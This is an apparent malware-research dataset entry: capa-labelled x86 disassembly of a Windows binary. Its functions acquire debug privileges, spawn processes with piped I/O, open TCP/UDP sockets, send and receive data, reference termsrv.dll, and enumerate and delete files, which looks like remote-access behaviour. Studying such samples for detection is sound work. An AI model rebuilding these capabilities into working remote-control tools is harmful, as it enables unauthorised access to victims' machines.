joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c79c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
call fcn.0041f2f0
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
call fcn.0041e2f0
pop ecx
mov ecx, dword [ebp - 4]
call fcn.0041b7f0
test eax, eax
je 0x41c815
push 0x428ff4
lea ecx, [ebp - 0x1c]
call fcn.00406f64
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0041e04e
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x1c]
call fcn.00406be2
cmp dword [ebp - 0x20], 0
je 0x41c815
mov eax, dword [ebp - 4]
push dword [eax + 0x2c]
call fcn.004204dd
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._SystemRoot_System32_termsrv.dll
lea ecx, [ebp - 0x10]
call fcn.00406f64
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
call fcn.0041b6cc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x28], eax
push str.rudp
lea ecx, [ebp - 0x2c]
call fcn.00406f64
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.0042138c
lea ecx, [ebp - 0x2c]
call fcn.00406be2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x34], eax
push str.rpdp
lea ecx, [ebp - 0x38]
call fcn.00406f64
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
call fcn.0042138c
lea ecx, [ebp - 0x38]
call fcn.00406be2
cmp dword [ebp + 8], 0
je 0x41c8b6
push ecx
mov ecx, esp
mov eax, dword [ebp - 4]
add eax, 0x38
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push ecx
mov ecx, esp
mov eax, dword [ebp - 4]
add eax, 0x3c
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
and dword [ebp - 8], 0
jmp 0x41c8c3
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, 0x44
call fcn.0040164e
cmp dword [ebp - 8], eax
jae 0x41c8fe
mov eax, dword [ebp - 4]
add eax, 0x44
mov dword [ebp - 0x3c], eax
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x3c]
call fcn.004043f7
push eax
mov ecx, dword [ebp - 4]
call fcn.0041ace9
lea ecx, [ebp - 0x40]
call fcn.00406be2
jmp 0x41c8bc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
add eax, 0x28
push eax
mov ecx, dword [ebp - 4]
call fcn.0041ace9
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov ecx, dword [ebp - 4]
call fcn.0041af06
push dword [ebp - 0xc]
call fcn.0041e2a7
pop ecx
mov ecx, dword [ebp - 4]
call fcn.0041f2de
lea ecx, [ebp - 0x10]
call fcn.00406be2
leave
ret 4
Function at 0x41ce68
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 8], ecx
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x30], ax
mov dword [ebp - 0x34], 0x101
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x410
push 1
push 0
push 0
push 0
lea ecx, [ebp + 8]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x41cee4
and dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 4]
jmp 0x41ceff
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 4], ecx
mov dword [ebp - 0xc], 1
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 0xc]
leave
ret 0x10
Function at 0x41cfd7
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ecx
xor eax, eax
inc eax
je 0x41d126
and dword [ebp - 8], 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x41d00e
jmp 0x41d126
cmp dword [ebp - 8], 0
jne 0x41d01c
xor eax, eax
inc eax
jmp 0x41d145
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.00401000
pop ecx
mov dword [ebp - 4], eax
and dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41d04f
jmp 0x41d126
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov byte [eax], 0
lea ecx, [ebp - 0x38]
call fcn.00406692
push dword [ebp - 0x10]
push dword [ebp - 4]
lea ecx, [ebp - 0x38]
call fcn.00406598
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 4]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
shl eax, 2
push eax
call fcn.00401000
pop ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shl eax, 2
push eax
push 0
push dword [ebp - 0x18]
call fcn.0040132f
add esp, 0xc
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0xffffffffffffffff
push dword [ebp - 4]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [ebp - 4]
call fcn.00401014
pop ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x20]
call fcn.00406f64
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x38]
call fcn.004064e1
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x1c]
call fcn.00406747
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x28], eax
push ecx
mov ecx, esp
lea eax, [ebp - 0x20]
push eax
call fcn.00406fbc
mov ecx, dword [ebp - 0xc]
call dword [ebp - 0x28]
lea ecx, [ebp - 0x1c]
call fcn.00406b06
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea ecx, [ebp - 0x38]
call fcn.004066da
jmp 0x41cfe0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x6d
je 0x41d13e
cmp dword [ebp - 0x24], 0xe8
jne 0x41d142
xor eax, eax
jmp 0x41d145
or eax, 0xffffffff
leave
ret
Function at 0x41d147
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x14], 0
je 0x41d1af
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 4]
cmp eax, dword [ecx + 0x18]
je 0x41d1a2
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
jne 0x41d170
jmp 0x41d1ea
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1388
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41d1a2
push 0xfffffffffffffffe
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 4]
add eax, 0x14
push eax
call fcn.0041d435
pop ecx
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
call fcn.0041d435
pop ecx
mov eax, dword [ebp - 4]
add eax, 4
push eax
call fcn.0041d435
pop ecx
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
call fcn.0041d435
pop ecx
mov eax, dword [ebp - 4]
add eax, 8
push eax
call fcn.0041d435
pop ecx
mov eax, dword [ebp - 4]
and dword [eax + 0x18], 0
leave
ret
Function at 0x41d49c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
jne 0x41d4bf
and dword [ebp - 8], 0
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 8]
jmp 0x41d518
push 0x429738
lea ecx, [ebp + 8]
call fcn.00406892
and dword [ebp - 0xc], 0
lea ecx, [ebp + 8]
call fcn.00406747
mov dword [ebp - 0x10], eax
lea ecx, [ebp + 8]
call fcn.00406b4a
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 0x20]
leave
ret 4

Function at 0x41d703
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movsx eax, word [eax + 0xa]
push eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0xc]
push dword [ecx + eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00401309
add esp, 0xc
push 2
pop eax
mov word [ebp - 0x20], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
push 0x802
push 0
lea eax, [ebp - 0x824]
push eax
call fcn.0040132f
add esp, 0xc
push 0x802
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov dword [ebp - 0xc], eax
movzx eax, byte [0x42cc8e]
test eax, eax
jne 0x41d7bd
push 0x10
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x41d7b4
jmp 0x41d7bb
mov byte [0x42cc8e], 1
jmp 0x41d78f
mov eax, dword [ebp - 8]
leave
ret
Function at 0x41db9e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [0x42cb78]
call fcn.00401000
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 4], ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov eax, dword [ebp - 4]
add eax, 8
push eax
call fcn.00401309
add esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
add eax, 8
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
push dword [ebp - 4]
call fcn.00401014
pop ecx
leave
ret
Function at 0x41dbfb
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
push dword [0x42cb78]
call fcn.00401000
pop ecx
mov dword [ebp - 0x18], eax
push dword [0x42cb78]
call fcn.00401000
pop ecx
mov dword [ebp - 0x1c], eax
and dword [ebp - 0x20], 0
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 8], 0
cmp dword [ebp - 8], 8
jge 0x41dc9b
push 0
push 8
pop eax
sub eax, dword [ebp - 8]
push eax
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41dc63
cmp dword [ebp - 4], 0xffffffff
jne 0x41dc7b
mov byte [0x42cc8e], 0
lea esi, [ebp - 0x2c]
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x41dd3c
push dword [ebp - 4]
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
push eax
call fcn.00401309
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x41dc39
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jge 0x41dd15
push 0
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41dce0
cmp dword [ebp - 0xc], 0xffffffff
jne 0x41dcf5
mov byte [0x42cc8e], 0
lea esi, [ebp - 0x2c]
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x41dd3c
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x10]
push eax
call fcn.00401309
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x41dcb4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x1c]
call fcn.00401014
pop ecx
lea esi, [ebp - 0x2c]
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x41dd40
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push esi
push edi
push 6
push 1
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
push 0x17
pop eax
mov word [ebp - 0x24], ax
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ax, word [ebp + 0xc]
mov word [ebp - 0x22], ax
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41dd8d
jmp 0x41ddbb
push 0x802
push 0
lea eax, [ebp - 0x828]
push eax
call fcn.0040132f
add esp, 0xc
push 0x802
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x17
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x41ddc2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 4], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
push 2
pop eax
mov word [ebp - 0x1c], ax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ax, word [ebp + 0xc]
mov word [ebp - 0x1a], ax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x41de11
jmp 0x41de3f
push 0x802
push 0
lea eax, [ebp - 0x820]
push eax
call fcn.0040132f
add esp, 0xc
push 0x802
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 4]
push eax
push 2
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, dword [ebp - 8]
leave
ret

Function at 0x41de44
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x108
call fcn.00401000
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41de95
cmp dword [ebp + 8], 0
je 0x41de95
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x104], ecx
push 0
push 0
push dword [ebp - 4]
push 0x41d69e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x41dea0
push dword [ebp - 4]
call fcn.00401014
pop ecx
xor eax, eax
leave
ret
Function at 0x41e0fb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 4], 0
push 2
push 0
mov ecx, dword [ebp + 8]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41e128
xor eax, eax
jmp 0x41e21a
push 0x10
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41e145
xor eax, eax
jmp 0x41e21a
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41e161
xor eax, eax
jmp 0x41e21a
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x18]
shr eax, 0x10
mov ecx, dword [ebp + 0xc]
mov word [ecx + 4], ax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov cx, word [ecx + 0x18]
mov word [eax + 6], cx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
and eax, 1
je 0x41e19e
mov dword [ebp - 0x10], 1
jmp 0x41e1a2
and dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
and eax, 2
je 0x41e1bf
mov dword [ebp - 0x14], 1
jmp 0x41e1c3
and dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
and eax, 8
je 0x41e1e0
mov dword [ebp - 0x18], 1
jmp 0x41e1e4
and dword [ebp - 0x18], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
and eax, 0x20
je 0x41e201
mov dword [ebp - 0x1c], 1
jmp 0x41e205
and dword [ebp - 0x1c], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 0x14], ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
inc eax
leave
ret
Function at 0x41e9f8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.0040132f
add esp, 0xc
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406f64
mov eax, dword [ebp + 8]
leave
ret

Function at 0x41ed2a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x41ed46
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.0041f33d
and dword [ebp - 0xc], 0
push dword [ebp + 0xc]
call fcn.0040b86a
pop ecx
mov dword [ebp - 8], eax
push dword [ebp + 0x10]
push 0
push 0
mov eax, dword [ebp - 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp - 8]
mov eax, dword [ebp - 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x10], eax
push dword [ebp + 0xc]
push dword [ebp - 8]
mov ecx, dword [ebp + 8]
call fcn.00406598
push dword [ebp - 8]
call fcn.0040b853
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x41edae
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.0041f329
mov eax, dword [ebp - 0x10]
leave
ret 0xc

Function at 0x41ee12
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 3
lea ecx, [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x4298c8
mov eax, 0x414
mov word [ebp - 0x18], ax
and dword [ebp - 0x16], 0
and dword [ebp - 0x12], 0
mov dword [ebp - 0xe], 0x4298cc
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
jne 0x41ee64
mov dword [ebp - 4], 1
jmp 0x41ee68
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 8]
leave
ret
Function at 0x41ee7b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
lea ecx, [ebp - 0x20]
call fcn.00402a18
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp + 0xc]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x41eed3
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401811
lea ecx, [ebp - 0x20]
call fcn.00401878
lea ecx, [ebp + 0xc]
call fcn.00406be2
mov eax, dword [ebp + 8]
jmp 0x41ef8e
lea ecx, [ebp - 0x38]
call fcn.004022d9
mov eax, dword [ebp - 0x288]
and eax, 0x10
je 0x41eef7
mov dword [ebp - 0x28], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x30], xmm0
jmp 0x41ef19
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 8]
call fcn.00406f64
push eax
lea ecx, [ebp - 0x38]
call fcn.00406bfc
lea ecx, [ebp - 8]
call fcn.00406be2
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x38]
push eax
call fcn.00402606
lea ecx, [ebp - 0x20]
call fcn.00401fae
lea ecx, [ebp - 0x38]
call fcn.00401698
lea eax, [ebp - 0x288]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41eed3
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401811
lea ecx, [ebp - 0x20]
call fcn.00401878
lea ecx, [ebp + 0xc]
call fcn.00406be2
mov eax, dword [ebp + 8]
leave
ret
Function at 0x41ef90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 8], 0x104
xor ecx, ecx
mov eax, dword [ebp - 8]
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040b8d1
pop ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x44]
call fcn.00402da7
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jbe 0x41f022
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
call fcn.0040b881
pop ecx
xor ecx, ecx
mov eax, dword [ebp - 8]
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040b8d1
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jae 0x41f059
cmp dword [ebp - 4], 0
je 0x41f03d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
call fcn.0040b881
pop ecx
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401799
lea ecx, [ebp - 0x44]
call fcn.00401800
mov eax, dword [ebp + 8]
jmp 0x41f0fd
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
test eax, eax
je 0x41f0d1
lea ecx, [ebp - 0x34]
call fcn.004022d9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x24]
call fcn.00406f64
push eax
lea ecx, [ebp - 0x34]
call fcn.00406bfc
lea ecx, [ebp - 0x24]
call fcn.00406be2
lea ecx, [ebp - 0x34]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x30], eax
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x34]
push eax
call fcn.00402527
lea ecx, [ebp - 0x44]
call fcn.00401d8f
lea ecx, [ebp - 0x34]
call fcn.00406f1b
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x34]
call fcn.00401698
jmp 0x41f05f
cmp dword [ebp - 4], 0
je 0x41f0e6
mov eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0040b881
pop ecx
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401799
lea ecx, [ebp - 0x44]
call fcn.00401800
mov eax, dword [ebp + 8]
leave
ret